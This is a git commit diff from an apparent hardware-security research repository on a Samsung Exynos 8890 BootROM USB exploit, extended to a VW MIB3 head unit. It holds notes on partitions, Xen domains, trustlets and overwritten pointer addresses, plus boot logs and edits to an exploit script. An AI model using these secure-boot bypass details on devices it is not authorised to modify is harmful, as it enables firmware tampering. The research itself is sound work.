merge conflict
This commit is contained in:
commit
52a80a6f5e
9
.vscode/launch.json
vendored
9
.vscode/launch.json
vendored
@ -4,6 +4,15 @@
|
||||
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{
|
||||
"name": "Run a python file",
|
||||
"type": "debugpy",
|
||||
"request": "launch",
|
||||
"program": "${file}",
|
||||
"args": [],
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false
|
||||
},
|
||||
{
|
||||
"name": "Run exploit",
|
||||
"type": "python",
|
||||
|
||||
@ -358,3 +358,10 @@ If removing the ROM/UFS Short, the phone will go into odin mode. And is visible
|
||||
Bus 001 Device 043: ID 04e8:685d Samsung Electronics Co., Ltd GT-I9100 Phone [Galaxy S II] (Download mode)
|
||||
|
||||
|
||||
Exploiting on the MIB3
|
||||
======================
|
||||
There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000`` on the Samsung S7. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address. Mitigated most changes, except for the ``Authentication??`` part in BL31 (when booting from BL2 into BL33, something is done in BL31 to either verify or do something.)
|
||||
|
||||
The MMU appears to be off however.
|
||||
|
||||
This topic resumes in xen_and_mib3
|
||||
|
||||
@ -1,63 +0,0 @@
|
||||
===
|
||||
XEN
|
||||
===
|
||||
|
||||
|
||||
partitions
|
||||
----------
|
||||
|
||||
.. code:: bash
|
||||
|
||||
(venv) ➜ MIB3 Top High mmls 32gb.bin
|
||||
GUID Partition Table (EFI)
|
||||
Offset Sector: 0
|
||||
Units are in 4096-byte sectors
|
||||
|
||||
Slot Start End Length Description
|
||||
000: Meta 0000000000 0000000000 0000000001 Safety Table
|
||||
001: ------- 0000000000 0000000255 0000000256 Unallocated
|
||||
002: Meta 0000000001 0000000001 0000000001 GPT Header
|
||||
003: Meta 0000000002 0000000005 0000000004 Partition Table
|
||||
004: 000 0000000256 0000002815 0000002560 boot_a
|
||||
005: 001 0000002816 0000005375 0000002560 boot_b
|
||||
006: 002 0000005376 0000005887 0000000512 hyp_a
|
||||
007: 003 0000005888 0000006143 0000000256 dtb_a
|
||||
008: 004 0000006144 0000009727 0000003584 kerneldom0_a
|
||||
009: 006 0000009728 0000012287 0000002560 initramfsdom0_a
|
||||
010: 007 0000012288 0000102911 0000090624 systemdom0_a
|
||||
011: 008 0000102912 0000109055 0000006144 system2dom0_a
|
||||
012: 012 0000109056 0000113919 0000004864 kerneldomu1_a
|
||||
013: 013 0000113920 0000114175 0000000256 dtbdomu1_a
|
||||
014: 014 0000114176 0000116735 0000002560 initramfsdomu1_a
|
||||
015: 015 0000116736 0000203775 0000087040 systemdomu1_a
|
||||
016: 016 0000203776 0000209919 0000006144 system2domu1_a
|
||||
017: 031 0000209920 0000210175 0000000256 align1
|
||||
018: 032 0000210176 0000210687 0000000512 hyp_b
|
||||
019: 033 0000210688 0000210943 0000000256 dtb_b
|
||||
020: 034 0000210944 0000214527 0000003584 kerneldom0_b
|
||||
021: 036 0000214528 0000217087 0000002560 initramfsdom0_b
|
||||
022: 037 0000217088 0000307711 0000090624 systemdom0_b
|
||||
023: 038 0000307712 0000313855 0000006144 system2dom0_b
|
||||
024: 042 0000313856 0000318719 0000004864 kerneldomu1_b
|
||||
025: 043 0000318720 0000318975 0000000256 dtbdomu1_b
|
||||
026: 044 0000318976 0000321535 0000002560 initramfsdomu1_b
|
||||
027: 045 0000321536 0000408575 0000087040 systemdomu1_b
|
||||
028: 046 0000408576 0000414719 0000006144 system2domu1_b
|
||||
029: 059 0000414720 0000418815 0000004096 system_error_dump
|
||||
030: 069 0000418816 0000420863 0000002048 sys_ss
|
||||
031: 070 0000420864 0000437247 0000016384 sys_persist
|
||||
032: 071 0000437248 0000453631 0000016384 sys_irc
|
||||
033: 072 0000453632 0000500735 0000047104 sys_misc1
|
||||
034: 099 0000500736 0001063935 0000563200 ivi_opt
|
||||
035: 100 0001063936 0007626751 0006562816 ivi
|
||||
036: ------- 0007626752 0007627775 0000001024 Unallocated
|
||||
|
||||
TFFS is a proprietary file system from Tuxera, with one mounter available `tffsmount <https://github.com/NetherlandsForensicInstitute/tffsmount>`_, however, we had no success mounting this file system. However, a lot of information can already be extracted from the binary by using a simple strings operation.
|
||||
|
||||
Perceived boot order: boot_a, then hypervisor via hyp_a. dtb_a could be the device tree blob, providing information of/on hardware devices. kerneldom0_a would be the primary kernel, with initramfs being the RAM disk for dom0.
|
||||
|
||||
.. quote:: "Dom0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first and manages the DomU unprivileged domains. The Xen hypervisor is not usable without Dom0. This is essentially the "host" operating system (or a "service console", if you prefer). As a result, Dom0 runs the Xen management toolstack, and has special privileges, like being able to access the hardware directly."
|
||||
|
||||
Data can be shared between domains using XenStore - an information storage space between domains maintained by Xenstored.
|
||||
|
||||
Dom0 is the only domain with direct access to hardware, with DomU being an unprivileged domain, which need to communicate with Dom0 to access hardware. Multiple DomU can be created.
|
||||
225
documentation/source/BootROM_8890/04_xen_and_mib3.rst
Normal file
225
documentation/source/BootROM_8890/04_xen_and_mib3.rst
Normal file
@ -0,0 +1,225 @@
|
||||
============
|
||||
XEN and MIB3
|
||||
============
|
||||
|
||||
partitions
|
||||
----------
|
||||
The contents of the partitions taken from a chipoff. There's a large IVI partition containing partitions of its own.
|
||||
|
||||
.. code:: bash
|
||||
|
||||
(venv) ➜ MIB3 Top High mmls 32gb.bin
|
||||
GUID Partition Table (EFI)
|
||||
Offset Sector: 0
|
||||
Units are in 4096-byte sectors
|
||||
|
||||
Slot Start End Length Description
|
||||
000: Meta 0000000000 0000000000 0000000001 Safety Table
|
||||
001: ------- 0000000000 0000000255 0000000256 Unallocated
|
||||
002: Meta 0000000001 0000000001 0000000001 GPT Header
|
||||
003: Meta 0000000002 0000000005 0000000004 Partition Table
|
||||
004: 000 0000000256 0000002815 0000002560 boot_a
|
||||
005: 001 0000002816 0000005375 0000002560 boot_b
|
||||
006: 002 0000005376 0000005887 0000000512 hyp_a
|
||||
007: 003 0000005888 0000006143 0000000256 dtb_a
|
||||
008: 004 0000006144 0000009727 0000003584 kerneldom0_a
|
||||
009: 006 0000009728 0000012287 0000002560 initramfsdom0_a
|
||||
010: 007 0000012288 0000102911 0000090624 systemdom0_a
|
||||
011: 008 0000102912 0000109055 0000006144 system2dom0_a
|
||||
012: 012 0000109056 0000113919 0000004864 kerneldomu1_a
|
||||
013: 013 0000113920 0000114175 0000000256 dtbdomu1_a
|
||||
014: 014 0000114176 0000116735 0000002560 initramfsdomu1_a
|
||||
015: 015 0000116736 0000203775 0000087040 systemdomu1_a
|
||||
016: 016 0000203776 0000209919 0000006144 system2domu1_a
|
||||
017: 031 0000209920 0000210175 0000000256 align1
|
||||
018: 032 0000210176 0000210687 0000000512 hyp_b
|
||||
019: 033 0000210688 0000210943 0000000256 dtb_b
|
||||
020: 034 0000210944 0000214527 0000003584 kerneldom0_b
|
||||
021: 036 0000214528 0000217087 0000002560 initramfsdom0_b
|
||||
022: 037 0000217088 0000307711 0000090624 systemdom0_b
|
||||
023: 038 0000307712 0000313855 0000006144 system2dom0_b
|
||||
024: 042 0000313856 0000318719 0000004864 kerneldomu1_b
|
||||
025: 043 0000318720 0000318975 0000000256 dtbdomu1_b
|
||||
026: 044 0000318976 0000321535 0000002560 initramfsdomu1_b
|
||||
027: 045 0000321536 0000408575 0000087040 systemdomu1_b
|
||||
028: 046 0000408576 0000414719 0000006144 system2domu1_b
|
||||
029: 059 0000414720 0000418815 0000004096 system_error_dump
|
||||
030: 069 0000418816 0000420863 0000002048 sys_ss
|
||||
031: 070 0000420864 0000437247 0000016384 sys_persist
|
||||
032: 071 0000437248 0000453631 0000016384 sys_irc
|
||||
033: 072 0000453632 0000500735 0000047104 sys_misc1
|
||||
034: 099 0000500736 0001063935 0000563200 ivi_opt
|
||||
035: 100 0001063936 0007626751 0006562816 ivi
|
||||
036: ------- 0007626752 0007627775 0000001024 Unallocated
|
||||
|
||||
|
||||
TFFS is a proprietary file system from Tuxera, with one mounter available `tffsmount <https://github.com/NetherlandsForensicInstitute/tffsmount>`_, however, we had no success mounting this file system. Luckily, a fair bit of information can already be extracted from the binary by using a simple strings operation. In order to view the contents of a specific partition, it's best to extract and unzip the partitions of interest.
|
||||
|
||||
.. code:: bash
|
||||
|
||||
dd if=32gb.bin of=initramfsdom0_a.bin.gz skip=0000009728 count=2560 bs=4096
|
||||
gunzip initramfsdom0_a.bin.gz
|
||||
mkdir initramfsdom0_a
|
||||
mv initramfsdom0_a.bin initramfsdom0_a
|
||||
cd initramfsdom0_a
|
||||
cpio -idmv < initramfsdom0_a.bin
|
||||
|
||||
Alternative approach (not working for partitions within the IVI). ``python3 -m tffsmount 32gb.bin /tmp/mib3/tffsmount2 -o 0x1be00000``
|
||||
|
||||
.. code:: bash
|
||||
|
||||
➜ MIB3 Top High xxd 32gb.bin | grep .~.TFFS
|
||||
03000000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
03006000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
17755d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
1c800000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
1c806000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
2d2b5d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
35000000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
35006000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
49755d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
4e800000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
4e806000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
5f2b5d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
66400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
66406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
66c00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
66c06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
6ac00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
6ac06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
6ec00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
6ec06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
7a400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
7a406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
104000000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
104006000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
105974000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
10597a000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
129474000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
12947a000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
25fc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
25fc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
263c00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
263c06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
26fc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
26fc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
3afc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
3afc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
3dfc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
3dfc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
4dfc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
4dfc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
545400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
545406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
745400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
745406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
|
||||
|
||||
|
||||
The initramfs partitions contain the initial ramdisk, which is a cpio archive. The contents of the initramfs can be extracted using the following command:
|
||||
|
||||
XEN, Domain0 and DomainU
|
||||
------------------------
|
||||
Virtual machines are essentially guest operating systems running on a device. Virtual machines share physical memory and can share hardware devices, creating security risks, allowing potential VM excapes. A mitigation is to have all hardware access isolated in a trusted execute environment (TEE), or in our case, this might already be the Domain0. The resources of the CPU and other peripherals are shared between the VMs, with the hypervisor managing the resources. In our case, Domain0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first, and likely also has access to the hardware resources.
|
||||
|
||||
*"Dom0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first and manages the DomU unprivileged domains. The Xen hypervisor is not usable without Dom0. This is essentially the "host" operating system (or a "service console", if you prefer). As a result, Dom0 runs the Xen management toolstack, and has special privileges, like being able to access the hardware directly."*
|
||||
|
||||
Data can be shared between domains using XenStore - an information storage space between domains maintained by Xenstored. Dom0 is the only domain with direct access to hardware, with DomU being an unprivileged domain, which need to communicate with Dom0 to access hardware. Multiple DomU can be created.
|
||||
|
||||
Sharing devices between Dom0 and DomU.
|
||||
|
||||
*"To access devices that are to be shared between domains, like the disks and network interfaces, the DomUs must communicate with Dom0. This is done by using a two-part driver. The FrontendDriver must be written for the OS used in the DomU, and uses XenBus, XenStore, shared pages, and event notifications to communicate with the BackendDriver, which lives in Dom0 and fulfils requests. To the applications and the rest of the kernel, the FrontendDriver just looks like a normal network interface, disk, or whatever. "*
|
||||
|
||||
MCLF, MobiCore or Trustonic
|
||||
---------------------------
|
||||
Looking through ``systemdom0_a`` at ``3000000``, we find three 'tabin' files with some hash as a filename, and ``MCLF`` in the header. These are likely trusted applets, running in the secure world. MCLF format (source: quarkslab0 and `kinibi` OS).
|
||||
|
||||
.. figure:: images/mclf_format.png
|
||||
:alt: MCLF header
|
||||
:align: center
|
||||
|
||||
These files contain a MCLF header when viewing the file header. MCLF is a Mobicore Loadable Format
|
||||
|
||||
.. code:: bash
|
||||
|
||||
➜ gradle-8.11 cd /tmp/mib3/tffsmount/3000000/opt/tee/ta
|
||||
➜ ta ls
|
||||
22546a5c7c8658b2b9159ca48a7f9272.tabin 2c0ba9cc522252ddaf45af9a79eab69f.tabin c4ad25cde4205d90ae7642155cd60556.tabin
|
||||
|
||||
Quarkslab on MCLF: `A Deep Dive Into Samsung's TrustZone (Part 1) <https://blog.quarkslab.com/a-deep-dive-into-samsungs-trustzone-part-1.html>` and `A Deep Dive Into Samsung's TrustZone (Part 2) <https://blog.quarkslab.com/a-deep-dive-into-samsungs-trustzone-part-2.html>`.
|
||||
|
||||
Trusted applets
|
||||
^^^^^^^^^^^^^^^
|
||||
Communication between secure and normal world are done using software interrupts and 'World Shared Memory' buffers. These WSM allow transfer of data. A ``MCLib`` - Mobicore Library - is used to communicate between trustlets. In our case: libMcClient.so, located at ``usr/lib/libMcClient.so``, which in turn communicates with a daemon: ``usr/bin/mcDriverDaemon`` (in systemdom0).
|
||||
|
||||
*"This library is not loaded dynamically by the trustlets. The address of the McLib's handler is written into them at load time and then used as a regular function as shown in the code snippet given below. The tlApi number is passed into R0 and the arguments in the rest of the general purpose registers or on the stack, depending on the number of arguments.""*
|
||||
|
||||
This MobiCore library is loaded at runtime. The trustlet command handlers provide an attack surface for higher privileged processes. Secure drivers are another type of applets, with higher privileges and access to hardware and additional Supervisor Calls (SVC). They are typically multithreaded, into a main, a normal world handler, a system/trustlet handler and an ISR thread handler.
|
||||
|
||||
.. figure:: images/trusted_app_mobicore_worldshares.png
|
||||
:alt: Mobicore world shares
|
||||
:align: center
|
||||
|
||||
Direct communication with a secure world driver is possible from the nowrmal world, using the shared buffer between both worlds, which passes the arguments for the secure world driver. The secure world driver can then access the hardware directly.
|
||||
|
||||
Kibini
|
||||
^^^^^^
|
||||
Kibini is part of SBoot, and is probably extracteable
|
||||
|
||||
Wahrheit
|
||||
|
||||
XEN logs
|
||||
^^^^^^^^^^
|
||||
.. code:: bash
|
||||
|
||||
<20><>Recovery mode
|
||||
=> Return value : 3oad LDFW
|
||||
|
||||
S8=> Return value : 0
|
||||
|
||||
Xen 4.8.0
|
||||
|
||||
(XEN) [ 0.209091] [SB_ERR]Integrity check fail
|
||||
|
||||
(XEN) [ 0.209119] [SB_ERR]verify_signature: binary ID = [0x10], return = [0x50E01]
|
||||
|
||||
(XEN) [ 0.209128] Dom[1] Fail to auth the dtb binary, ret:331265
|
||||
|
||||
(XEN) [ 0.209565] Dom[0] 2th, load kernel binary at 0000000081280000, 0000000000100000
|
||||
|
||||
(XEN) [ 0.211313] Static RAM[00000008c0000000 ~ 000000097a000000] -> guest address [00000008c0000000 ~ 000000097a000000]
|
||||
|
||||
(XEN) [ 0.226360]
|
||||
|
||||
(XEN) [ 0.226360] ****************************************
|
||||
|
||||
(XEN) [ 0.233678] Loading dom initrd from 0000000089200000 to 0x0000000089200000-0x0000000089340000
|
||||
|
||||
(XEN) [ 0.237909] Dom[0] 3th, load kernel binary at 0000000081380000, 0000000000100000
|
||||
|
||||
(XEN) [ 0.245791] DOM RAM Popluation of the pre-assigned range done. unassigned mem:0x 0000000000000000 Bytes
|
||||
|
||||
(XEN) [ 0.253771] Panic on CPU 7:
|
||||
|
||||
(XEN) [ 0.263057] Allocating PPI 16 for event channel interrupt
|
||||
|
||||
(XEN) [ 0.274424] Dom[0] 4th, load kernel binary at 0000000081480000, 0000000000100000
|
||||
|
||||
(XEN) [ 0.284998] Fail to auth the dtb binary
|
||||
|
||||
(XEN) [ 0.291690] Loading dom0 DTB to 0x0000000089000000-0x000000008901e99e dtb_virt:0x0000000089000000
|
||||
|
||||
(XEN) [ 0.302564] Dom[0] 5th, load kernel binary at 0000000081580000, 0000000000100000
|
||||
|
||||
(XEN) [ 0.303995] ****************************************
|
||||
|
||||
(XEN) [ 0.303995]
|
||||
|
||||
(XEN) [ 0.313722] ___Dom0 construction done___
|
||||
|
||||
(XEN) [ 0.324977] Dom[0] 6th, load kernel binary at 0000000081680000, 0000000000100000
|
||||
|
||||
(XEN) [ 0.329844] Reboot in five seconds...
|
||||
|
||||
(XEN) [ 0.346093] Dom[0] 7th, load kernel binary at 0000000081780000, 0000000000100000
|
||||
|
||||
(XEN) [ 5.365817] exynos8890: keep scratch, 0xd (shutdown_code: 3)
|
||||
@ -260,7 +260,7 @@ It would appear that I'm currently only able to modify code before executing any
|
||||
|
||||
Week 45 - 2024
|
||||
--------------
|
||||
Loaded the debugger on the Head unit. There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000``. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address.
|
||||
Loaded the debugger on the Head unit. There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000``. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address. Mitigated most changes, except for the authenitcation part.
|
||||
|
||||
The debugger stays alive, up until after booting BL2. But when we jump into the function that should receive the next boot stage for BL33, the debugger does not return, nor receive the next boot stage. Normally, on the Samsung S7, the device returns to the debugger, allowing modifications on the BL33 boot stage in memory.
|
||||
|
||||
@ -274,7 +274,36 @@ The debugger stays alive, up until after booting BL2. But when we jump into the
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
The MMU appears to be off however.
|
||||
The MMU appears to be off however (?!). Quick look through the MIB3 images, shows that some partitions are still unencrypted, and contain a fair amount of strings.
|
||||
|
||||
Quick look through the MIB3 images, shows that some partitions are still unencrypted, and contain a fair amount of strings.
|
||||
If jumping into the boot BL33 function twice, the LDFW returns -. at the second jump. By using the modified fwbl1 from Francis, we can apply patches to uboot and boot them.
|
||||
|
||||
.. code:: bash
|
||||
|
||||
<20>Recovery mode
|
||||
|
||||
[ERROR] Fail to load LDFW
|
||||
=> Return value : -1
|
||||
|
||||
LDFW init status=> Return value : -1
|
||||
|
||||
|
||||
[ERROR] Fail to load Secure payload
|
||||
=> Return value : -.
|
||||
|
||||
When continuing the boot flow by jumping into cf0052f8 after recovery boot
|
||||
|
||||
.. code:: bash
|
||||
|
||||
U-Boot 2012.07-gc7c41ec14-dirty (Oct 23 2019 - 12:53:04) for SADK8890
|
||||
|
||||
CPU: Exynos8890 Rev2.0 [Samsung SOC on SMP Platform Base on ARM CortexA53]
|
||||
MNGS_PLL = 1975MHz APOLLO_PLL = 1481MHz MIF_PLL = 1539MHz
|
||||
BUS0_PLL = 1056MHz BUS1_PLL = 800MHz BUS2_PLL = 672MHz BUS3_PLL = 1872MHz
|
||||
MFC_PLL = 71MHz AUD_PLL = 494MHz G3D_PLL = 650MHz DISP_PLL = 63MHz
|
||||
|
||||
Board: SADK8890
|
||||
DRAM: 6 GiB
|
||||
ECT: PARA006o
|
||||
|
||||
I dumped the contents of 0xcf4dfb28 to 60, which is a boot path information setter. Something in BL33 is setting this, because it is still empty (0xFF) after booting into BL2 and waiting for BL33.
|
||||
|
||||
BIN
documentation/source/BootROM_8890/images/mclf_format.png
Normal file
BIN
documentation/source/BootROM_8890/images/mclf_format.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 99 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 230 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 49 KiB |
3
documentation/source/_ignore/partition_drawer.py
Normal file
3
documentation/source/_ignore/partition_drawer.py
Normal file
@ -0,0 +1,3 @@
|
||||
from herrewebpy.firmware_forensics import memory_drawer
|
||||
img = memory_drawer('partitions.csv')
|
||||
img
|
||||
44
documentation/source/_ignore/partitions.csv
Normal file
44
documentation/source/_ignore/partitions.csv
Normal file
@ -0,0 +1,44 @@
|
||||
start,end,name,order,comment,X0,LR
|
||||
0x3000000,0x191ff000,systemdom0_a,,0000012288 to 0000102911,,
|
||||
0x3006000,?,,,Not found with mmls. Divides to 12294,,
|
||||
0x17755d40,?,,,Not found with mmls. Divides to 96085,,
|
||||
0x1c800000,0x31bff000,systemdomu1_a,,0000116736 to 0000203775,,
|
||||
0x1c806000,,,,Not found with mmls. Divides to 116742,,
|
||||
0x2d2b5d40,,,,Not found with mmls. Divides to 185013.828125,,
|
||||
0x35000000,,systemdom0_b,,0000217088 to 0000307711,,
|
||||
0x35006000,,,,,,
|
||||
0x49755d40,,,,Divides to 300885.828125,,
|
||||
0x4e800000,,systemdomu1_b,,0000321536 to 0000408575,,
|
||||
0x5f2b5d40,,,,Divides to 389813.828125,,
|
||||
0x66400000,,sys_ss,,0000418816 to 0000420863,,
|
||||
0x66406000,,,,,,
|
||||
0x66c00000,,sys_persist,,0000420864 to 0000437247,,
|
||||
0x66c06000,,,,,,
|
||||
0x6ac00000,,sys_irc,,0000437248 to 0000453631,,
|
||||
0x6ac06000,,,,,,
|
||||
0x6ec00000,,sys_misc1,,0000453632 to 0000500735,,
|
||||
0x6ec06000,,,,,,
|
||||
0x7a400000,,ivi_opt,,0000500736 to 0001063935,,
|
||||
0x7a406000,,,,,,
|
||||
0x104000000,,,,Divides to 1064960.0,,
|
||||
0x104006000,,,,Divides to 1064966.0,,
|
||||
0x105974000,,,,,,
|
||||
0x10597a000,,,,,,
|
||||
0x129474000,,,,Divides to 1217652.0,,
|
||||
0x12947a000,,,,,,
|
||||
0x25fc00000,,dtb_a/dtb_b?,,Divides to 2489350,,SWUP? public CA-certificates
|
||||
0x25fc06000,,,,,,
|
||||
0x263c00000,,ivi_opt?,,,,Apps? In Vehicle Infotainment
|
||||
0x263c06000,,,,,,
|
||||
0x26fc00000,,dtb_a/dtb_b,,Contains only database information,,
|
||||
0x26fc06000,,,,,,
|
||||
0x3afc00000,,,,Some database like files,,
|
||||
0x3afc06000,,,,,,
|
||||
0x3dfc00000,,,,Some RAM like partition?,,
|
||||
0x3dfc06000,,,,,,
|
||||
0x4dfc00000,,,,Contains some docker stuff (no compose,,
|
||||
0x4dfc06000,,,,,,
|
||||
0x545400000,,,,Gracenote and some logs,,
|
||||
0x545406000,,,,,,
|
||||
0x745400000,,,,Contains only keys,,
|
||||
0x745406000,,,,,,
|
||||
|
@ -14,4 +14,5 @@ Documentation on Samsung devices, currently mainly the Samsung S7. Here we're ex
|
||||
BootROM_8890/01_start.rst
|
||||
BootROM_8890/02_frederics_exploit.rst
|
||||
BootROM_8890/03_exploit_boot_chain.rst
|
||||
BootROM_8890/04_notes.rst
|
||||
BootROM_8890/04_xen_and_mib3.rst
|
||||
BootROM_8890/05_notes.rst
|
||||
|
||||
BIN
dump/ghidra-transfer/mib3_stages_jonhe.gzf
Normal file
BIN
dump/ghidra-transfer/mib3_stages_jonhe.gzf
Normal file
Binary file not shown.
BIN
dump/ghidra_11.1.2_PUBLIC_20241114_mclf-ghidra-loader.zip
Normal file
BIN
dump/ghidra_11.1.2_PUBLIC_20241114_mclf-ghidra-loader.zip
Normal file
Binary file not shown.
0
dump/reloc_debugger_0x11200000.bin
Executable file → Normal file
0
dump/reloc_debugger_0x11200000.bin
Executable file → Normal file
@ -1,5 +1,8 @@
|
||||
# Source
|
||||
``exploit`` contains the source code for the (python)exploit of the USB bug, as well as the current stage1 code.
|
||||
|
||||
``mib3`` contains some boot data for the MIB3
|
||||
``S7`` contains the sboot data for the Samsung S7
|
||||
``S7`` contains the sboot data for the Samsung S7
|
||||
``mib3`` contains boot data for the MIB3 head unit
|
||||
``screen_print`` contains a (not working!) effort to use the screen to use the S7 device screen to print logs
|
||||
``ghidra_assistant`` contains the wheel to install ghidra_assistant
|
||||
``gupje_device`` contains code to build the debugger
|
||||
4
source/exploit/.vscode/launch.json
vendored
4
source/exploit/.vscode/launch.json
vendored
@ -28,7 +28,7 @@
|
||||
"program": "exploit.py",
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false,
|
||||
"args": ["--unsecure-boot"]
|
||||
"args": ["--unsecure-boot", "--MIB3"]
|
||||
},
|
||||
{
|
||||
"name": "Run debugger boot",
|
||||
@ -37,7 +37,7 @@
|
||||
"program": "exploit.py",
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false,
|
||||
"args": ["--debugger-boot", "--MIB3"],
|
||||
"args": ["--debugger-boot", "--MIB3"], //, "--MIB3"
|
||||
},
|
||||
{
|
||||
"name": "Debug current file",
|
||||
|
||||
@ -94,29 +94,32 @@ class S7Exploit(ExynosDevice):
|
||||
'''
|
||||
Do a normal boot process, with or without exploit.
|
||||
'''
|
||||
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
|
||||
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
|
||||
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
||||
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
||||
if args.MIB3:
|
||||
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
|
||||
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
|
||||
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
|
||||
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
|
||||
off = bl31.find(b'Built')
|
||||
bl31 = bl31[:off] + b'Built' + bl31[off+len(b'Built'):]
|
||||
|
||||
if exploit:
|
||||
self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
# self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
|
||||
